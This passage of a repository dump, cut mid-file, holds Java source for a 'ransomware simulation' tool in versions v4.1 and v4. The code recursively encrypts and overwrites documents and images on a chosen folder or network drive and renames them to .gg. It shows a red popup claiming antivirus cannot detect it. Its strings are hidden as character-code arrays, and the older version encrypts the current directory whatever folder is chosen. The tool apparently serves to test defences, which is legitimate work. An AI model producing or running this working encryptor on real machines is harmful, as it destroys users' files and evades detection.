} 255 | 256 | private static void encrypt(InputStream input, OutputStream output) 257 | throws IOException { 258 | 259 | output = new CipherOutputStream(output, encrypt); 260 | writeBytes(input, output); 261 | } 262 | 263 | private static void writeBytes(InputStream input, OutputStream output) 264 | throws IOException { 265 | byte[] writeBuffer = new byte[512]; 266 | int readBytes = 0; 267 | 268 | while ((readBytes = input.read(writeBuffer)) >= 0) { 269 | output.write(writeBuffer, 0, readBytes); 270 | } 271 | 272 | output.close(); 273 | input.close(); 274 | } 275 | 276 | @Override 277 | public void actionPerformed(ActionEvent e){ 278 | button.setEnabled(false); 279 | goProcess(); 280 | } 281 | 282 | } 283 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv4.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import javax.crypto.*; 7 | import javax.crypto.spec.GCMParameterSpec; 8 | import javax.crypto.spec.PBEKeySpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.nio.ByteBuffer; 11 | import java.security.InvalidAlgorithmParameterException; 12 | import java.security.InvalidKeyException; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.security.SecureRandom; 15 | import java.security.spec.InvalidKeySpecException; 16 | import java.security.spec.KeySpec; 17 | 18 | import java.text.ParseException; 19 | import java.text.SimpleDateFormat; 20 | import java.util.Date; 21 | 22 | import java.io.*; 23 | import java.nio.file.StandardCopyOption; 24 | import java.nio.file.Files; 25 | import java.nio.file.Path; 26 | import java.nio.file.Paths; 27 | 28 | import java.awt.BorderLayout; 29 | import java.awt.event.ActionEvent; 30 | import javax.swing.*; 31 | import java.awt.event.*; 32 | import javax.swing.*; 33 | import java.awt.*; 34 | 35 | import java.net.URI; 36 | import java.awt.Desktop; 37 | 38 | 39 | public class EncryptDelTestv4_1 extends JPanel implements ActionListener { 40 | private static Cipher encrypt; 41 | private static Cipher decrypt; 42 | private static JTextArea textarea = new JTextArea(40, 60); 43 | String thisselection[]={"Please select","Encrypt","Decrypt"}; 44 | private JComboBox cb = new JComboBox(thisselection); 45 | private static JButton button = new JButton("Choose a folder or network drive to process the test"); 46 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 47 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 48 | private static Date today = new Date(); 49 | public static int encryptedcount; 50 | public static String password = "testkey@123"; 51 | public static String option; 52 | public static String strEncrypt = Character.toString((char) 69) + Character.toString((char) 110) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 53 | public static String strDecrypt = Character.toString((char) 68) + Character.toString((char) 101) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 54 | 55 | public EncryptDelTestv4_1(){ 56 | JFrame frame = new JFrame("[Encrypt Delete Test v4.1]"); 57 | textarea.setFocusable(false); 58 | textarea.setWrapStyleWord(false); 59 | textarea.setLineWrap(false); 60 | Font font = new Font("Courier New", Font.BOLD, 12); 61 | textarea.setFont(font); 62 | JScrollPane scrollpane = new JScrollPane(textarea); 63 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 64 | 65 | frame.setBounds(3, 3, 3, 3); 66 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 67 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 68 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 69 | JPanel panel = new JPanel(new GridLayout(2, 1)); 70 | panel.add(cb); 71 | panel.add(button); 72 | frame.getContentPane().add(panel, BorderLayout.SOUTH); 73 | frame.pack(); 74 | frame.setLocationRelativeTo(null); 75 | frame.setVisible(true); 76 | button.addActionListener(this); 77 | } 78 | 79 | public static void main(String[] args) throws IOException, ParseException { 80 | new EncryptDelTestv4_1(); 81 | int CharNum[] = {91,69,110,99,114,121,112,116,32,68,101,108,101,116,101,32,84,101,115,116,32,118,52,46,49,32,40,74,97,118,97,41,93}; 82 | textarea.append(NumtoString(CharNum)+"\n"); 83 | CharNum = new int[]{83,105,109,117,108,97,116,101,32,114,97,110,115,111,109,119,97,114,101,32,101,110,99,114,121,112,116,105,111,110,32,111,112,101,114,97,116,105,111,110}; 84 | textarea.append(NumtoString(CharNum)+"\n"); 85 | CharNum = new int[]{66,121,32,69,100,100,105,101,32,67,104,117,32,101,100,100,105,101,99,104,117,46,97,110,100,114,111,105,100,64,103,109,97,105,108,46,99,111,109}; 86 | textarea.append(NumtoString(CharNum)+"\n"); 87 | CharNum = new int[]{80,108,101,97,115,101,32,100,111,119,110,108,111,97,100,32,116,104,101,32,111,114,105,103,105,110,97,108,32,97,110,100,32,108,97,116,101,115,116,32,118,101,114,115,105,111,110,32,102,114,111,109}; 88 | textarea.append(NumtoString(CharNum)+"\n"); 89 | CharNum = new int[]{104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,101,100,100,105,101,99,104,117,47,69,110,99,114,121,112,116,45,68,101,108,101,116,101,45,84,101,115,116}; 90 | textarea.append(NumtoString(CharNum)+"\n"); 91 | CharNum = new int[]{86,101,114,115,105,111,110,32,118,52,46,49,32,40,49,49,47,83,101,112,47,50,48,50,50,41}; 92 | textarea.append(NumtoString(CharNum)+"\n"); 93 | textarea.append("\n"); 94 | CharNum = new int[]{84,104,105,115,32,116,111,111,108,32,101,110,99,114,121,112,116,115,32,45,32,111,118,101,114,119,114,105,116,101,115,32,45,32,114,101,110,97,109,101,115,32,116,104,101,32,102,105,108,101,32,117,110,100,101,114,32,115,101,108,101,99,116,101,100,32,102,111,108,100,101,114,32,97,110,100,32,105,116,39,115,32,115,117,98,102,111,108,100,101,114,40,115,41,41}; 95 | textarea.append(NumtoString(CharNum)+"\n"); 96 | textarea.append("\n"); 97 | CharNum = new int[]{91,67,97,117,116,105,111,110,93}; 98 | textarea.append(NumtoString(CharNum)+"\n"); 99 | CharNum = new int[]{89,111,117,32,117,115,101,32,116,104,105,115,32,116,111,111,108,32,99,111,109,112,108,101,116,101,108,121,32,97,116,32,121,111,117,114,32,111,119,110,32,114,105,115,107,46}; 100 | textarea.append(NumtoString(CharNum)+"\n"); 101 | textarea.append("\n"); 102 | CharNum = new int[]{80,108,101,97,115,101,32,99,104,111,111,115,101,32,116,104,101,32,111,112,116,105,111,110,32,97,116,32,116,104,101,32,98,111,116,116,111,109,32,116,111,32,112,114,111,99,101,101,100}; 103 | textarea.append(NumtoString(CharNum)+"\n"); 104 | textarea.setCaretPosition(textarea.getDocument().getLength()); 105 | } 106 | 107 | public static void goProcess() { 108 | File file; 109 | final JFileChooser jfc = new JFileChooser(); 110 | jfc.setCurrentDirectory(new java.io.File(".")); 111 | jfc.setDialogTitle("Choose a folder or network drive: "); 112 | jfc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 113 | int returnValue = jfc.showOpenDialog(null); 114 | if (returnValue == JFileChooser.APPROVE_OPTION){ 115 | file = jfc.getSelectedFile(); 116 | textarea.append( "Target:" + file + "\n"); 117 | textarea.append("\n"); 118 | File currentDir = new File(jfc.getSelectedFile().getPath()); 119 | traverseDirectory(currentDir); 120 | if (option.equals(strEncrypt)) { 121 | try { 122 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 123 | int CharNum[] = {60,104,116,109,108,62}; 124 | out.write(NumtoString(CharNum)+"\n"); 125 | CharNum = new int[]{60,104,101,97,100,62}; 126 | out.write(NumtoString(CharNum)+"\n"); 127 | CharNum = new int[]{60,116,105,116,108,101,62,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,60,47,116,105,116,108,101,62}; 128 | out.write(NumtoString(CharNum)+"\n"); 129 | CharNum = new int[]{60,98,111,100,121,32,98,103,99,111,108,111,114,61,114,101,100,62}; 130 | out.write(NumtoString(CharNum)+"\n"); 131 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,60,98,62,91,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,46,49,32,40,74,97,118,97,41,93,60,47,98,62,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62,60,98,114,62,60,98,114,62}; 132 | out.write(NumtoString(CharNum)+"\n"); 133 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,84,104,97,110,107,115,32,102,111,114,32,121,111,117,114,32,116,101,115,116,33,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 134 | out.write(NumtoString(CharNum)+"\n"); 135 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,60,117,62,67,65,78,78,79,84,60,47,117,62,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 136 | out.write(NumtoString(CharNum)+"\n"); 137 | out.write("
\n"); 138 | out.write("
\n"); 139 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 140 | out.write(NumtoString(CharNum) + password + "\n"); 141 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 142 | out.write(NumtoString(CharNum) + encryptedcount + "\n"); 143 | out.write("
" + sdf.format(today) + "\n"); 144 | out.write("
\n"); 145 | CharNum = new int[]{60,47,98,111,100,121,62}; 146 | out.write(NumtoString(CharNum)+"\n"); 147 | CharNum = new int[]{60,47,104,116,109,108,62}; 148 | out.write(NumtoString(CharNum)+"\n"); 149 | out.close(); 150 | } 151 | catch (IOException e) { 152 | } 153 | 154 | textarea.append("\n"); 155 | if (encryptedcount > 0){ 156 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 157 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 158 | try { 159 | java.net.URI uri = new java.net.URI("popup.html"); 160 | desktop.browse( uri ); 161 | } 162 | catch ( Exception e ) { 163 | System.err.println( e.getMessage() ); 164 | } 165 | } 166 | int CharNum[] = {69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 167 | textarea.append(NumtoString(CharNum) + password + "\n"); 168 | CharNum = new int[]{69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 169 | textarea.append(NumtoString(CharNum) + encryptedcount + "\n"); 170 | textarea.setForeground(Color.RED); 171 | CharNum = new int[]{79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 172 | textarea.append("\n"); 173 | textarea.append(NumtoString(CharNum) + "\n"); 174 | } else { 175 | int CharNum[] = {78,111,32,102,105,108,101,32,105,115,32,102,111,117,110,100,32,111,114,32,101,110,99,114,121,112,116,101,100}; 176 | textarea.append(NumtoString(CharNum) + "\n"); 177 | } 178 | textarea.setCaretPosition(textarea.getDocument().getLength()); 179 | JFrame f; 180 | f=new JFrame(); 181 | if (encryptedcount > 0){ 182 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 183 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4.1]",JOptionPane.ERROR_MESSAGE); 184 | } 185 | } else if (option.equals(strDecrypt)){ 186 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 187 | textarea.append(NumtoString(CharNum) + "\n"); 188 | JFrame f; 189 | f=new JFrame(); 190 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4.1]",JOptionPane.ERROR_MESSAGE); 191 | } 192 | } 193 | } 194 | 195 | public static void traverseDirectory(File dir) { 196 | try { 197 | File[] files = dir.listFiles(); 198 | for (File file: files) { 199 | if (file.isDirectory()) { 200 | traverseDirectory(file); 201 | } else { 202 | if (option.equals(strEncrypt)){ 203 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || file.getCanonicalPath().toLowerCase().endsWith(".png")){ 204 | cryptOperation(file.getCanonicalPath()); 205 | } 206 | }else{ 207 | if (file.getCanonicalPath().toLowerCase().endsWith(".gg")){ 208 | cryptOperation(file.getCanonicalPath()); 209 | } 210 | } 211 | } 212 | } 213 | } catch (IOException e) { 214 | e.printStackTrace(); 215 | } 216 | } 217 | 218 | public static String NumtoString(int[] NumArray){ 219 | String str = ""; 220 | for (int i: NumArray) { 221 | str += Character.toString((char) i); 222 | } 223 | return str; 224 | } 225 | 226 | public static void cryptOperation(String filename) { 227 | try { 228 | if (option.equals(strEncrypt)) { 229 | int CharNum[] = {103,103}; 230 | String outputfile = filename + "." + NumtoString(CharNum); 231 | textarea.append("Encrypt and overwrite to " + filename + "\n"); 232 | 233 | Path path = Paths.get(filename); 234 | byte[] fileBytes = Files.readAllBytes(path); 235 | byte[] resultBytes = null; 236 | resultBytes = encryptData(password, fileBytes); 237 | 238 | File writefile = new File(filename); 239 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 240 | outputStream.write(resultBytes); 241 | } 242 | 243 | textarea.append("Rename to " + outputfile + "\n"); 244 | File file = new File(filename); 245 | Path pathoutputile = Paths.get(outputfile); 246 | Path pathinputile = Paths.get(filename); 247 | Files.move(pathinputile, pathoutputile); 248 | File f = new File(outputfile); 249 | if (f.exists() && f.isFile()) { 250 | encryptedcount = encryptedcount + 1; 251 | } 252 | textarea.append("\n"); 253 | 254 | } else if (option.equals(strDecrypt)) { 255 | String outputfile = filename.replaceAll(".gg$",""); 256 | textarea.append("Decrypt to " + outputfile + "\n"); 257 | 258 | Path path = Paths.get(filename); 259 | byte[] fileBytes = Files.readAllBytes(path); 260 | byte[] resultBytes = null; 261 | resultBytes = decryptData(password, fileBytes); 262 | 263 | File writefile = new File(outputfile); 264 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 265 | outputStream.write(resultBytes); 266 | } 267 | textarea.append("\n"); 268 | } 269 | } catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidAlgorithmParameterException | InvalidKeyException | BadPaddingException | IllegalBlockSizeException | InvalidKeySpecException | IOException e) { 270 | e.printStackTrace(); 271 | } 272 | } 273 | 274 | public static byte [] encryptData(String key, byte [] data) throws NoSuchPaddingException, 275 | NoSuchAlgorithmException, 276 | InvalidAlgorithmParameterException, 277 | InvalidKeyException, 278 | BadPaddingException, 279 | IllegalBlockSizeException, InvalidKeySpecException { 280 | 281 | SecureRandom secureRandom = new SecureRandom(); 282 | byte[] iv = new byte[12]; 283 | secureRandom.nextBytes(iv); 284 | SecretKey secretKey = generateSecretKey(key, iv); 285 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 286 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 287 | cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec); 288 | byte [] encryptedData = cipher.doFinal(data); 289 | ByteBuffer byteBuffer = ByteBuffer.allocate(4 + iv.length + encryptedData.length); 290 | byteBuffer.putInt(iv.length); 291 | byteBuffer.put(iv); 292 | byteBuffer.put(encryptedData); 293 | return byteBuffer.array(); 294 | } 295 | 296 | public static byte [] decryptData(String key, byte [] encryptedData) 297 | throws NoSuchPaddingException, 298 | NoSuchAlgorithmException, 299 | InvalidAlgorithmParameterException, 300 | InvalidKeyException, 301 | BadPaddingException, 302 | IllegalBlockSizeException, 303 | InvalidKeySpecException { 304 | 305 | ByteBuffer byteBuffer = ByteBuffer.wrap(encryptedData); 306 | int noonceSize = byteBuffer.getInt(); 307 | if(noonceSize < 12 || noonceSize >= 16) { 308 | throw new IllegalArgumentException("Nonce size is incorrect."); 309 | } 310 | byte[] iv = new byte[noonceSize]; 311 | byteBuffer.get(iv); 312 | SecretKey secretKey = generateSecretKey(key, iv); 313 | byte[] cipherBytes = new byte[byteBuffer.remaining()]; 314 | byteBuffer.get(cipherBytes); 315 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 316 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 317 | cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec); 318 | return cipher.doFinal(cipherBytes); 319 | } 320 | 321 | public static SecretKey generateSecretKey(String password, byte [] iv) throws NoSuchAlgorithmException, InvalidKeySpecException { 322 | KeySpec spec = new PBEKeySpec(password.toCharArray(), iv, 65536, 128); // AES-128 323 | SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); 324 | byte[] key = secretKeyFactory.generateSecret(spec).getEncoded(); 325 | return new SecretKeySpec(key, "AES"); 326 | } 327 | 328 | @Override 329 | public void actionPerformed(ActionEvent e){ 330 | if ( strEncrypt.equals(cb.getSelectedItem().toString()) || strDecrypt.equals(cb.getSelectedItem().toString())) { 331 | option = cb.getSelectedItem().toString(); 332 | goProcess(); 333 | } else { 334 | JOptionPane.showMessageDialog(this, "Please select option","[Encrypt Delete Test v4.1]", JOptionPane.ERROR_MESSAGE); 335 | } 336 | } 337 | 338 | } 339 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv4.java.211006: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import javax.crypto.*; 7 | import javax.crypto.spec.GCMParameterSpec; 8 | import javax.crypto.spec.PBEKeySpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.nio.ByteBuffer; 11 | import java.security.InvalidAlgorithmParameterException; 12 | import java.security.InvalidKeyException; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.security.SecureRandom; 15 | import java.security.spec.InvalidKeySpecException; 16 | import java.security.spec.KeySpec; 17 | 18 | import java.text.ParseException; 19 | import java.text.SimpleDateFormat; 20 | import java.util.Date; 21 | 22 | import java.io.*; 23 | import java.nio.file.StandardCopyOption; 24 | import java.nio.file.Files; 25 | import java.nio.file.Path; 26 | import java.nio.file.Paths; 27 | 28 | import java.awt.BorderLayout; 29 | import java.awt.event.ActionEvent; 30 | import javax.swing.*; 31 | import java.awt.event.*; 32 | import javax.swing.*; 33 | import java.awt.*; 34 | 35 | import java.net.URI; 36 | import java.awt.Desktop; 37 | 38 | 39 | public class EncryptDelTestv4 extends JPanel implements ActionListener { 40 | private static Cipher encrypt; 41 | private static Cipher decrypt; 42 | private static JTextArea textarea = new JTextArea(40, 60); 43 | String thisselection[]={"Please select","Encrypt","Decrypt"}; 44 | private JComboBox cb = new JComboBox(thisselection); 45 | private static JButton button = new JButton("Choose a folder or network drive to process the test"); 46 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 47 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 48 | private static Date today = new Date(); 49 | public static int encryptedcount; 50 | public static String password = "testkey@123"; 51 | public static String option; 52 | public static String strEncrypt = Character.toString((char) 69) + Character.toString((char) 110) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 53 | public static String strDecrypt = Character.toString((char) 68) + Character.toString((char) 101) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 54 | 55 | public EncryptDelTestv4(){ 56 | JFrame frame = new JFrame("[Encrypt Delete Test v4]"); 57 | textarea.setFocusable(false); 58 | textarea.setWrapStyleWord(false); 59 | textarea.setLineWrap(false); 60 | Font font = new Font("Courier New", Font.BOLD, 12); 61 | textarea.setFont(font); 62 | JScrollPane scrollpane = new JScrollPane(textarea); 63 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 64 | 65 | frame.setBounds(3, 3, 3, 3); 66 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 67 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 68 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 69 | JPanel panel = new JPanel(new GridLayout(2, 1)); 70 | panel.add(cb); 71 | panel.add(button); 72 | frame.getContentPane().add(panel, BorderLayout.SOUTH); 73 | frame.pack(); 74 | frame.setLocationRelativeTo(null); 75 | frame.setVisible(true); 76 | button.addActionListener(this); 77 | } 78 | 79 | public static void main(String[] args) throws IOException, ParseException { 80 | new EncryptDelTestv4(); 81 | int CharNum[] = {91,69,110,99,114,121,112,116,32,68,101,108,101,116,101,32,84,101,115,116,32,118,52,32,40,74,97,118,97,41,93}; 82 | textarea.append(NumtoString(CharNum)+"\n"); 83 | CharNum = new int[]{83,105,109,117,108,97,116,101,32,114,97,110,115,111,109,119,97,114,101,32,101,110,99,114,121,112,116,105,111,110,32,111,112,101,114,97,116,105,111,110}; 84 | textarea.append(NumtoString(CharNum)+"\n"); 85 | CharNum = new int[]{66,121,32,69,100,100,105,101,32,67,104,117,32,101,100,100,105,101,99,104,117,46,97,110,100,114,111,105,100,64,103,109,97,105,108,46,99,111,109}; 86 | textarea.append(NumtoString(CharNum)+"\n"); 87 | CharNum = new int[]{80,108,101,97,115,101,32,100,111,119,110,108,111,97,100,32,116,104,101,32,111,114,105,103,105,110,97,108,32,97,110,100,32,108,97,116,101,115,116,32,118,101,114,115,105,111,110,32,102,114,111,109}; 88 | textarea.append(NumtoString(CharNum)+"\n"); 89 | CharNum = new int[]{104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,101,100,100,105,101,99,104,117,47,69,110,99,114,121,112,116,45,68,101,108,101,116,101,45,84,101,115,116}; 90 | textarea.append(NumtoString(CharNum)+"\n"); 91 | CharNum = new int[]{86,101,114,115,105,111,110,32,118,52,46,48,46,48,32,40,54,47,79,99,116,47,50,48,50,49,41}; 92 | textarea.append(NumtoString(CharNum)+"\n"); 93 | textarea.append("\n"); 94 | CharNum = new int[]{84,104,105,115,32,116,111,111,108,32,101,110,99,114,121,112,116,115,32,45,32,111,118,101,114,119,114,105,116,101,115,32,45,32,114,101,110,97,109,101,115,32,116,104,101,32,102,105,108,101,32,117,110,100,101,114,32,115,101,108,101,99,116,101,100,32,102,111,108,100,101,114,32,97,110,100,32,105,116,39,115,32,115,117,98,102,111,108,100,101,114,40,115,41,41}; 95 | textarea.append(NumtoString(CharNum)+"\n"); 96 | textarea.append("\n"); 97 | CharNum = new int[]{91,67,97,117,116,105,111,110,93}; 98 | textarea.append(NumtoString(CharNum)+"\n"); 99 | CharNum = new int[]{89,111,117,32,117,115,101,32,116,104,105,115,32,116,111,111,108,32,99,111,109,112,108,101,116,101,108,121,32,97,116,32,121,111,117,114,32,111,119,110,32,114,105,115,107,46}; 100 | textarea.append(NumtoString(CharNum)+"\n"); 101 | textarea.append("\n"); 102 | CharNum = new int[]{80,108,101,97,115,101,32,99,104,111,111,115,101,32,116,104,101,32,111,112,116,105,111,110,32,97,116,32,116,104,101,32,98,111,116,116,111,109,32,116,111,32,112,114,111,99,101,101,100}; 103 | textarea.append(NumtoString(CharNum)+"\n"); 104 | textarea.setCaretPosition(textarea.getDocument().getLength()); 105 | } 106 | 107 | public static void goProcess() { 108 | File file; 109 | final JFileChooser jfc = new JFileChooser(); 110 | jfc.setCurrentDirectory(new java.io.File(".")); 111 | jfc.setDialogTitle("Choose a folder or network drive: "); 112 | jfc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 113 | int returnValue = jfc.showOpenDialog(null); 114 | file = jfc.getSelectedFile(); 115 | 116 | textarea.append("\n"); 117 | 118 | File currentDir = new File("."); 119 | traverseDirectory(currentDir); 120 | 121 | if (option.equals(strEncrypt)) { 122 | try { 123 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 124 | int CharNum[] = {60,104,116,109,108,62}; 125 | out.write(NumtoString(CharNum)+"\n"); 126 | CharNum = new int[]{60,104,101,97,100,62}; 127 | out.write(NumtoString(CharNum)+"\n"); 128 | CharNum = new int[]{60,116,105,116,108,101,62,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,60,47,116,105,116,108,101,62}; 129 | out.write(NumtoString(CharNum)+"\n"); 130 | CharNum = new int[]{60,98,111,100,121,32,98,103,99,111,108,111,114,61,114,101,100,62}; 131 | out.write(NumtoString(CharNum)+"\n"); 132 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,60,98,62,91,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,32,40,74,97,118,97,41,93,60,47,98,62,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62,60,98,114,62,60,98,114,62}; 133 | out.write(NumtoString(CharNum)+"\n"); 134 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,84,104,97,110,107,115,32,102,111,114,32,121,111,117,114,32,116,101,115,116,33,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 135 | out.write(NumtoString(CharNum)+"\n"); 136 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,60,117,62,67,65,78,78,79,84,60,47,117,62,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 137 | out.write(NumtoString(CharNum)+"\n"); 138 | out.write("
\n"); 139 | out.write("
\n"); 140 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 141 | out.write(NumtoString(CharNum) + password + "\n"); 142 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 143 | out.write(NumtoString(CharNum) + encryptedcount + "\n"); 144 | out.write("
" + sdf.format(today) + "\n"); 145 | out.write("
\n"); 146 | CharNum = new int[]{60,47,98,111,100,121,62}; 147 | out.write(NumtoString(CharNum)+"\n"); 148 | CharNum = new int[]{60,47,104,116,109,108,62}; 149 | out.write(NumtoString(CharNum)+"\n"); 150 | out.close(); 151 | } 152 | catch (IOException e) { 153 | } 154 | 155 | textarea.append("\n"); 156 | if (encryptedcount > 0){ 157 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 158 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 159 | try { 160 | java.net.URI uri = new java.net.URI("popup.html"); 161 | desktop.browse( uri ); 162 | } 163 | catch ( Exception e ) { 164 | System.err.println( e.getMessage() ); 165 | } 166 | } 167 | int CharNum[] = {69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 168 | textarea.append(NumtoString(CharNum) + password + "\n"); 169 | CharNum = new int[]{69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 170 | textarea.append(NumtoString(CharNum) + encryptedcount + "\n"); 171 | textarea.setForeground(Color.RED); 172 | CharNum = new int[]{79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 173 | textarea.append("\n"); 174 | textarea.append(NumtoString(CharNum) + "\n"); 175 | } else { 176 | int CharNum[] = {78,111,32,102,105,108,101,32,105,115,32,102,111,117,110,100,32,111,114,32,101,110,99,114,121,112,116,101,100}; 177 | textarea.append(NumtoString(CharNum) + "\n"); 178 | } 179 | textarea.setCaretPosition(textarea.getDocument().getLength()); 180 | JFrame f; 181 | f=new JFrame(); 182 | if (encryptedcount > 0){ 183 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 184 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4]",JOptionPane.ERROR_MESSAGE); 185 | } 186 | } else if (option.equals(strDecrypt)){ 187 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 188 | textarea.append(NumtoString(CharNum) + "\n"); 189 | JFrame f; 190 | f=new JFrame(); 191 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4]",JOptionPane.ERROR_MESSAGE); 192 | } 193 | } 194 | 195 | public static void traverseDirectory(File dir) { 196 | try { 197 | File[] files = dir.listFiles(); 198 | for (File file: files) { 199 | if (file.isDirectory()) { 200 | traverseDirectory(file); 201 | } else { 202 | if (option.equals(strEncrypt)){ 203 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || 